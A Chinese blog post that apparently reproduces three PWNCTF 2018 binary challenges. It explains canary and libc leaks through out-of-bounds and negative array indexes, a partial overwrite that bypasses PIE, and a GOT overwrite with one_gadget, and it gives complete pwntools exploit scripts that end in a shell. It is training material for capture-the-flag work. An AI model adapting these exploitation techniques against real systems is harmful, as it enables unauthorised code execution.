PWNCTF部分复现

Exploit Class

根据readData和writedata函数的逻辑发现数组是char [22][12],主要是判断越界的if语句有逻辑漏洞

readData函数

writeData函数

我通过输入正好越界的数组地址发现Canary被破坏,程序退出时SIGARBT,发现canary正好在数组上方…

当然也可以在比较canary时下断点,在栈上找到RAX是和哪一个数据比较的

这里发现在0x7fffffffdbf0处,那么就可以得出相对数组的偏移了

接下来就可以泄露canary了,由于canary的设计就考虑了被顺带打印出来,最低位一定是\x00,那么填满数组的21行,再在22行输入单个字符防止零截断,就可以顺带打印出canary

由于程序保护全开,不过PIE对本题没什么影响,这里我选择泄露栈上的__libc_start_main函数地址,推算出libc基址后用one_gadget找到一发getshell的偏移覆盖saved rip,泄露方法同canary

不过需要注意的是,每次read写入12字节,调试发现是entry=24时,retaddr在偏移8处,所以这里只能把8字节的p64(one_gadget)分两次写入,ROP方法也是一样的

ROP方法需要pop rdi ret,如果用elf中的gadget,需要计算出程序加载基址,必须再次泄露绕过PIE,这里我直接用了libc中的pop rdi ret,不需要再泄露一次了

不过这里我打远程的时候有一些玄学问题,给的libc好像有点奇怪,可能是因为比赛也结束好几天了……exp中的gadget都是选择的我本地运行环境的libc

EXP:

from pwn import *

p = process("./exploitClass")
elf = ELF("./exploitClass")
libc = elf.libc

def read(index):
    p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
    p.sendline("1")
    p.recvuntil("Which entry to show?\n")
    p.sendline(str(index))
    ret_info = p.recvuntil("\n")
    return ret_info[:-1]

def write(index,data):
    p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
    p.sendline("2")
    p.recvuntil("Which entry to write?\n")
    p.sendline(str(index))
    p.recvuntil("What to write?\n")
    p.send(data)


write(21,"A"*12)
write(22,"B")
canary = u64(read(21)[12:20])-ord("B")
print "canary = " + hex(canary)

#libc_start_main offset = 48
write(22,"1"*12)
write(23,"1"*12)
write(24,"1"*12)
write(25,"1"*12)

libc_base=u64(read(21)[12+48:20+48-2].ljust(8,'\x00')) - 240 - libc.symbols['__libc_start_main']

print "libc_base = " + hex(libc_base)
raw_input()
pop_rdi_ret = 0x21102 + libc_base
p64_pop_rdi = p64(pop_rdi_ret)
binsh_addr = 0x18cd57 + libc_base
system = libc.symbols['system'] + libc_base
write(22,p64(canary))

#one_gadget
write(24,"1"*8+p64(libc_base+0x45216)[0:4])
write(25,p64(libc_base+0x45216)[4:8])

#write(24,"1"*8+p64_pop_rdi[0:4])
#write(25,p64_pop_rdi[4:8]+p64(binsh_addr))
#write(26,p64(system))

p.sendline("3")
p.interactive()

Importantservice

IDA简单逆向下,发现逻辑还是挺清楚的,可以让read溢出一次,但是程序开了PIE和ASLR,用于泄露的话就没办法劫持流程了

同时发现程序中有不需要参数的givemeshellpls函数

本题需要注意到函数指针v5在栈上,原本v5被赋值成dologic,而调试发现dologic和giveshell的函数只有最低一字节不同,正好绕过PIE

用peda的info functions查看

这里如果要给开了PIE的程序下断点,我一般是先vmmap看ELF的基址,然后手动加上函数偏移

判断的绕过也比较简单,第二个为0即可

通常,一个内存页大小为0x1000,这表明地址的后12位,3个十六进制数的地址是始终不变的,也就是patial write bypass PIE

这几题实际操作中发现涉及scanf的读入整数最好都用sendline,否则会卡住

EXP:

from pwn import *
p = process("./importantservice")
elf = ELF("./importantservice")

#gdb-peda  info functions
shell_func = 0x11a9
dologic = 0x11bc

#send(payload)不能用sendline
#这里我尝试payload = 'A'*0x400+'\xa9\x11'
#之后sendline("1026 0 ")
#会失败,因为程序运行时dologic = 0x00005555555551bc
#只是最后两位没有变,这样的话改了4位

p.recv()
p.sendline("1025 0")
p.recv()

payload = 'A'*0x400+'\xa9'

p.send(payload)
p.interactive()

kindergarten

有漏洞的逻辑,主要是没有判断数组下标为负值的情况

发现array在bss段上

而got和plt都在数组的低地址处,这表明输入负数下标就可以有机会篡改表中数值

这里因为exit没有被调用过,所以选择改exit@plt,偏移为-0x50

程序提供了libc,这里用one_gadget这个工具找到一发getshell的偏移

调试时发现满足RAX==0的条件

实际写exp时需要注意p8()和u8()的signed=True参数,一开始写的时候一直失败,后来看context.log_level=’debug’的输出发现这一点

泄露出函数在GOT表中的位置后计算出libc基址,调整one_gadget的地址

这里交互时也可以发现都必须是有符号的数,写入的负数输出时仍然是负数

Exp中leak数据给出了2种方法,一种是不断的p8()然后一次性u64(),第二种是通过位运算得出

EXP:

from pwn import *
p = process("./kindergarten",env = {"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./kindergarten")
libc = ELF("./libc-2.23.so")
context.log_level = 'debug'

def leak(io,offset):
    buf=''
    addr = 0
    for i in xrange(8):
        io.recvuntil("give me an index:\n> ")
        io.sendline(str(offset+i)) # input < 0 ,最先打印的是低字节
        io.recvuntil("is ")
        byte = int(io.recvuntil(".",drop=True))
        io.sendline(str(byte))
        buf += p8(byte,signed=True) #这里符合p64,低字节在前
        addr |= ((byte&0xff)<<(8*i))    
        #不影响其他位的或运算,选择&0xff
    return u64(buf) # return addr 两种方法均可

def write(io,offset,data):
    for i in xrange(len(data)):
        io.recvuntil("give me an index:\n> ")
        io.sendline(str(offset+i))
        io.recvline()
        byte = u8(data[i],signed=True)
        io.sendline(str(byte))  

#手动交互得到的也是-1这样的数据
#从调试输出得到p8和u8都必须加上signed = True
#当然write函数中也可以用移位,再u8()

one_gadget_off = 0x45216 # rax == NULL,satisfied
array = 0x4080 # array = setvbuf.got.plt + 0x60

setvbuf_addr = leak(p,-0x60)
print "setvbuf_addr = " + hex(setvbuf_addr)
libc_base = setvbuf_addr - libc.symbols['setvbuf']
one_gadget = libc_base + one_gadget_off

#把exit@plt改成one_gadget
write(p,-0x50,p64(one_gadget))
p.sendline("Give me the shell")
p.recv()
p.interactive()

PS:PWNCTF的地址https://uni.hctf.fun/pages/home/ 题目仍然是可以下载的

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-11-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JavaEdge

用弱引用堵住内存泄漏全局 Map 造成的内存泄漏找出内存泄漏HPROF 输出,显示 Map.Entry 对象的分配点弱引用WeakReference.get() 的一种可能实现用 WeakHashMa

3485
来自专栏Kirito的技术分享

JAVA 拾遗--Future 模式与 Promise 模式

写这篇文章的动机,是缘起于微信闲聊群的一场讨论,粗略整理下,主要涉及了以下几个具体的问题: 同步,异步,阻塞,非阻塞的关联及区别。 JAVA 中有 callb...

2.8K10
来自专栏每日一篇技术文章

Metal_入门02_带你走流程

Metal 系列教程 Metal_入门01_为什么要学习它 Metal_入门02_带你走流程

1161
来自专栏分布式系统和大数据处理

Command模式入门

提起Command模式,我想没有什么比遥控器的例子更能说明问题了,本文将通过它来一步步实现GOF的Command模式。

932
来自专栏开发与安全

linux网络编程之socket(一):socket概述和字节序、地址转换函数

一、什么是socket socket可以看成是用户进程与内核网络协议栈的编程接口。 socket不仅可以用于本机的进程间通信,还可以用于网络上不同主机的进程...

3000
来自专栏大内老A

IoC+AOP的简单实现

对EnterLib有所了解的人应该知道,其中有一个名叫Policy Injection的AOP框架;而整个EnterLib完全建立在另一个叫作Unity的底层框...

2089
来自专栏ChaMd5安全团队

0ctf2018 heapstorm2详解

题目链接 https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/heapstorm2 前置...

7387
来自专栏犀利豆的技术空间

徒手撸框架--实现 RPC 远程调用

微服务已经是每个互联网开发者必须掌握的一项技术。而 RPC 框架,是构成微服务最重要的组成部分之一。趁最近有时间。又看了看 dubbo 的源码。dubbo 为了...

1362
来自专栏LhWorld哥陪你聊算法

【Linux篇】--awk的使用

awk是一个强大的文本分析工具。相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。 简单来说awk就是把文件逐行的读入,(空格...

1382
来自专栏纯洁的微笑

Guava 源码分析(Cache 原理【二阶段】)

在上文「Guava 源码分析(Cache 原理)」中分析了 Guava Cache 的相关原理。

1701

扫码关注云+社区

领取腾讯云代金券